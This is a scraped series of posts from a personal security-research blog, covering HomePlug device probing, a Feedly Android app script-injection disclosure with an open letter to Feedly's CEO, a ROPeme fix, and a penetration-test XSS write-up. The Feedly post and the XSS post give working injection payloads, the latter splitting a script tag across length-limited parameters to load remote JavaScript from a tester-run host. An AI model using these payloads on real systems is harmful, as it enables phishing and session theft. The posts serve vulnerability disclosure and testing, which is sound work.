Hack Your Homeplug?

SUP ALL!

It's 1:10am Saturday (just TGIF-ed) and I'm overly excited over.... *drum rrroll* - homeplugs!
Apparently they are quite accessible. =D A cursory search over the internet led to me Zibri's blog which then directed me to this pretty nifty tool called 'faifa'. You could git clone from https://github.com/ffainelli/faifa OR perform 'apt-get install faifa', assuming you're using the right operating system. ;)

It's only been 10 min since discovery, but let me break down some tiny roadblocks on the 'getting started' portion for your convenience!

Getting started:
1. Go get a homeplug - buy, borrow or steal.
2. Look at the back of the homeplug and snap a nice photograph such as the one below.
3. Note the i) Device Password; ii) MAC address <== Extremely essential

Note the 'DEVICE PASSWORD' & 'MAC ADDRESS' down - you'll need them

Accessing The Homeplug via Linux and the magnificent Ethernet cable:
4. Proceed to download the 'faifa' tool via "apt-get install faifa" OR git clone https://github.com/ffainelli/faifa
5. Run the tool:
CMD: faifa -i <your_interface> -a <homeplug_mac_address> -k <home_password_without_dashes> -m

e.g. # faifa -i eth0 -a 00:26:75:11:22:33 -k ABCDEFGHIJKLMNOP -m

Shiny commands at your disposal! -m should display the menu

6. Pick your choice command (e.g. 0xA054 - to get some manufacturing string) 

0xA054 works!

7. Next, let's use wire...wait for it... SHARK!

And yes, it can be sniffed! Protocol: HomePlug! =D

What's next?
- Script a bruteforce on the last three bytes of the MAC address to SCAN all connected homeplugs?
- Aztech boast a "channel encryption" using AES. Ok, so disable it? Circumvent it?
- Or simply fuzz the crap out of it since we've got information from the wireshark capture. Scapy maybe? :)

References:
1. Special thanks to Zibri - http://www.zibri.org/2009/03/powerline-ethernet-fun-and-secrets.html
2. Homeplug chipset hardcore specs - http://www.dianlimao.org/upload/2011-5/4/2011541101433368.pdf
3. The 'faifa' tool - https://github.com/ffainelli/faifa

For fun but not much profit,
Jeremy S.

Open letter to Edwin Khodabakchian, CEO Feedly

Dear Mr. Edwin,

I am terribly sorry that the internet news reporters decided to sensationalize this whole thing. I am a Feedly supporter myself and I truly enjoy it. And I agree too with some security professionals / researchers that Feedly did respond timely and quote Davey Winder, "ethical disclosure at its best". However, people decided to interprete my blog post their way and put Feedly in a bad light. The blog post is meant for a extremely small community and technical findings / tips / news archive, however, it was 'scraped' and re-packaged without even notifying me. For the record, I informed no one and spoke to no writers before this whole thing went down.

And on my blog, I wrote the contents as objective and technical as I could and quoted only facts, however limited they may have been. Any inaccuracies that was pointed out I did my best to correct them. As Feedly had stopped communicating with me after they fixed the problem, i had zero visibility (and I am not saying that Feedly owes me to provide any). To be fair, I did ask Feedly to advise on Feedly's steps to ethical disclosure, however, I did not receive any responses despite multiple emails. This means that I did not know that it was a backend fix until much later when I tested it myself (and still I can't be entirely sure until you helped confirmed it later) and I didn't know it was fixed before the 17th when Feedly released v19.3.0 (thus i added 'estimated').  As always, it is part of an individual duty to inform the public and as advised by recognised security body whom i shall not name, I only published this finding about a month after the fix.

Unfortunately, this post unexpectedly went kinda viralled, probably because Feedly is in the fore-front of cloud RSS service provider. Like other major players such as Facebook, Google and Microsoft, Feedly is facing her onslaught of security news. Nevertheless, I believe the reporters of the various news sites should have contacted Feedly and myself to do fact-checks before publishing the articles.  Feedly has an awesome track records in its services and security responses, and like any other giants, people will forget about this and continue to support Feedly. 

This is a war against insecurity both real and deadly vulnerabilties and also the usual crowd paranoia. And I believe that soon enough, this will blow over like any other news. Someone will find something in somewhere else and this will be quickly be forgotten.

I wish you and Feedly a continuous success. 

P.S. For what's worth, this article speaks of my thoughts: http://www.daniweb.com/web-development/javascript-dhtml-ajax/news/477537/feedly-android-javascript-zero-day-found-fixed-and-can-be-forgotten

Yours sincerely,

Jeremy S.

Feedly Android Application Zero-day Vulnerability - JavaScript Code Injection

Hey all,

(Updated on 19-Apr & 21-Apr 2014: See yellow & aqua)

Do you guys remember that I kinda "spammed" my own site with a series of blog posts filled with javascript codes? I was performing tests on the Feedly app to verify a JavaScript injection vulnerability. After a series of tests, I ascertained that the Feedly App (19.2.0 - before 17th March 2014) was vulnerable. As part of the ethical disclosure, I reported to Feedly, the Feedly folks acknowledged the vulnerability (via email) and they got it fixed on 17th March 2014. Unfortunately, I haven't got any more responses when I asked them how they would like to alert / advise their users, especially since they did not mention the vulnerability fix in their change logs on Google Playstore. Anyway, their silence resulted in me seeking alternatives without Feedly's further involvement.

tl;dr - vulnerability details and screenshots as follow:

Vulnerability Title: JavaScript Code Injection possible in Feedly Android App via RSS Feeds

Description:

A javascript code injection is possible from an RSS feed (e.g. from a blog on blogspot) into the 'Feedly' Android App. The android app does not sanitize javascript codes and interpretes them as codes. As a result, allows potential attackers to perform javascript code executions on victim's Feedly android app session via a crafted blogpost. However, the pre-requisite for such an attack to be possible is that the user must have subscribed (RSS) to the site. In other words, attacks can take place only when user browses the RSS-subscribed site's contents via the Feedly android app.

Potential Impact:

Attacker may inject malicious javascript codes via a blogpost. An example would be to create a button to redirect users to malicious sites (and the same old tricks to follow). 

*I haven't gone to the extent of performing 'remote arbitrary code injection'  as I wasn't sure if it uses webView toolkit. But if you got 19.2.0 apk and wish to try, please go nuts. And it'll be nice if you could let me know and of course, I'll reciprocate by providing shiny blue links to your page. =D

Date discovered / reported: 10th March 2014
Date fixed (estimated): Verified after 17th March 2014 (Feedly states that they got it fixed 24 hours after reporting)

Vulnerable version: < 19.3.0 (version just before 19.3.0 - did not test the older ones)

Fixed Version: Feedly Android App 19.3.0 (17th March 2014) - personally verified.
Apparently after testing on previous versions (19.2 and 19.1), I could not reproduce the same problem. I suspect the vulnerable codes are of the backend servers and not the android app itself. As such, both vulnerable version and fixed version fields are not applicable.

Proof-of-Concept

Injection payload:

</script>
<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button
<but

 Figure 0: Normal Feedly site on a Chrome Browser - As you can see, the javascript codes are displayed as text and not intepreted as executable codes

 Figure 1: Feedly App accessing the same blogpost as shown on figure 0 - As you can see, a nice button of mine was created on the Android Application

 Figure 2: Upon clicking on 'BreakToProtect's button', user will be redirected to another site. As per proof-of-concept, a fake URL link 'http://www.potentially-malicious.site/' was used instead.

Annnnddd it's fixed after 19.3.0. 

Hope this is informative for all Feedly users. Thanks to the quick responses from Feedly team, you can now get your fix at the following URL:

https://play.google.com/store/apps/details?id=com.devhd.feedly
The fix was done at the backend - users do not have to worry about using older versions of Feedly.

Later,

JS

Quick fix on ROPeme's ImportError: No module named distorm

Sup' all,

I'm currently working on my ROP skills and trying out ROPeme[1]. So what ROPeme does is that it helps exploit developers / researchers to generate ROP gadgets easily. For those who wants to find out more about ROP or return-oriented programming, try this tutorial: http://www.exploit-db.com/wp-content/themes/exploit/docs/28479.pdf  It's a step-by-step guide to perform your first ROP on Linux.

Anyway, I went to the site and git cloned the ropeme folder onto my '/opt/' directory. When I tried to run './ropshell.py', I get the following error message:

File "ropshell.py", line 24, in <module>
import gadgets
File "/opt/ropeme/ropeme/gadgets.py", line 21, in <module>
import distorm
ImportError: No module named distorm

I tried googling but it was a futile exercise. Then I did an apt-cache search distorm and found 'distorm3' in the distro. And of course, I went ahead to 'apt-get install distorm3' and found out that I actually had that in already. Drats! Now what?!

So basing on a hunch while thinking it was a long-shot, I went ahead and opened up gadgets.py and changed every occurence of 'distorm' to 'distorm3'. Unexpectedly, it worked!

Solution to make ROPeme work with distorm3 (I'm using Kali Backtrack[2])
1. Open up 'gadgets.py'
2. Do a 'replace' for every 'distorm' to 'distorm3'*
3. Save and exit
4. Issue the following command: # python ropshell.py
5. Celebrate a little and move on to actually do ROP.
*Needless to say, you'll need to have 'distorm3' installed on your linux.

Happy kittehz, happy ROPping ;)

- JS

References:
[1] ROPeme - http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[2] Kali Backtrack - http://www.kali.org/

Apologies to readers

Sup all,

If somehow you've subscribed to my RSS feed and get bombarded by several "code injection" posts, I want to sincerely apologize to you. :(

But good news, I've found and confirmed a security vulnerability that allows JavaScript execution on a Android Mobile App. I've sent an email to the developer and ethical disclosure is in progress.

To make all for all the mucks, I promise to upload some screenshots after the issue's been fixed. =D

Till then folks~

UPDATED: The vulnerability was confirmed and reported. For more details, see http://breaktoprotect.blogspot.sg/2014/04/feedly-android-application-zero-day.html

J.S.

Potential JavaScript Code Injection to App

Below are javascript code as Proof-of-code Javascript Code Injection -
1. A JavaScript button could be injected
2. The button performs location.href to target site. In this case, a fake POC site to prove that it could be used for potentially malicious phishing or extend further payload execution to malicious site.
Click the button below - it could redirect a user to a potential malicious site ;)
-BreakToProtect

</script>

<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button

<butt

XSS across multiple parameters with 32-character constraints per parameter

'Sup all,

Recently, during my job, I encountered Cross-site Scriptings (XSS) on a page with two affected parameters. So, XSS, big whoop. The catch is, you are only limited to 32-character per parameter and anything after that it is truncated. As some professionals know, clients may fight tooth and nail on the findings you report. In this case, they may argue that you can't put a malicious payload with just 64 characters, and they don't give a f* about an alert(1) printing on their page. To make matter worse, it's an internally served page - you can't serve malicious javascript over the internet. So, what to do? Drop the issue? No way ;)

Initial Test:
paramA=<script>alert(1)</script>
paramB=<script>alert(1)</script>

Resulted in a stored code displayed as part of the following HTML code:

 <script type="text/javascript" language="javascript">  
 //irrelevant chunks  
 // ..  
 // ..  
 var paramA = "<script>alert(1)</script>";  
 var paramB = "<script>alert(1)</script>";  

Length Constraint Test:
paramA=111112222233333444445555566666777778888899999
paramB=111112222233333444445555566666777778888899999

Resulted in a stored code displayed as part of the following HTML code snippet:

 var paramA = "1111122222333334444455555666667";  
 var paramB = "1111122222333334444455555666667";  

You should observe on the above snippet that any character after the 32nd will be cut off! Drats.
But not all is lost. There are a few ways you could approach this but here's what I did:
1. Use the good O' <SCRIPT src="//yoururl.com/malicious.js">
2. Use "*/" and "/*" to concatenate your payload
3. Since it's only intranet accessible, I fire up an IIS 7.5 on my test machine and serve up a javascript under the name "index.html". Yes, it works perfectly. ;) So you could do <script src="http://webserver_ip/"> and your javascript will execute nicely even if it's not saved as a '.js' extension. Nifty to know.

My solution:
paramA=</script><script%20/*
paramB="*/src="http://172.10.10.1/">

22 characters for paramA - safe!
30 characters for param B - safe!

I would use a shorter IP address (e.g. 10.0.0.2) but the 172.10.10.x is the subnet I'm attacking on. I have to stick to the /24 subnet but I did to change my javascript-serving webserver's IP from 172.10.10.100 to a single digit for the LSB octat (e.g. 172.10.10.1). Warning: Make sure you don't collide with your client's machine IP addresses.

Javascript Payload:
1. Just put your javascript code inside the 'index.html'
2. I did a simple alert("This is a javascript code execution for proof-of-concept..blah blah blah") to make my point. It could be anything from cookie stealing to BeEF's machine takeover =D
3. Save it as 'index.html'. If you're using IIS 7.5, put it in your X:\inetpub\wwwroot\ directory.

Resulting in:

 var paramA = "</SCRIPT><SCRIPT /*";  
 var paramB = ""*/src="http://172.10.10.1/">";  

And BOOM. ;)

Yea, many have done it and I've read a few posts on that. Still, it's different to personally encounter a live system which puts you in the spot to work around with the constraints. In short, I spent quite a number of hours due to my own n00bness, but managed to achieve a working XSS. Hopefully, my client is convinced to get it fixed. All in all, a simple but interesting encounter.

Laters y'all~

Regards,
JS.

Reference:
1. http://beefproject.com/‎ - The Browser Exploitation Framework Project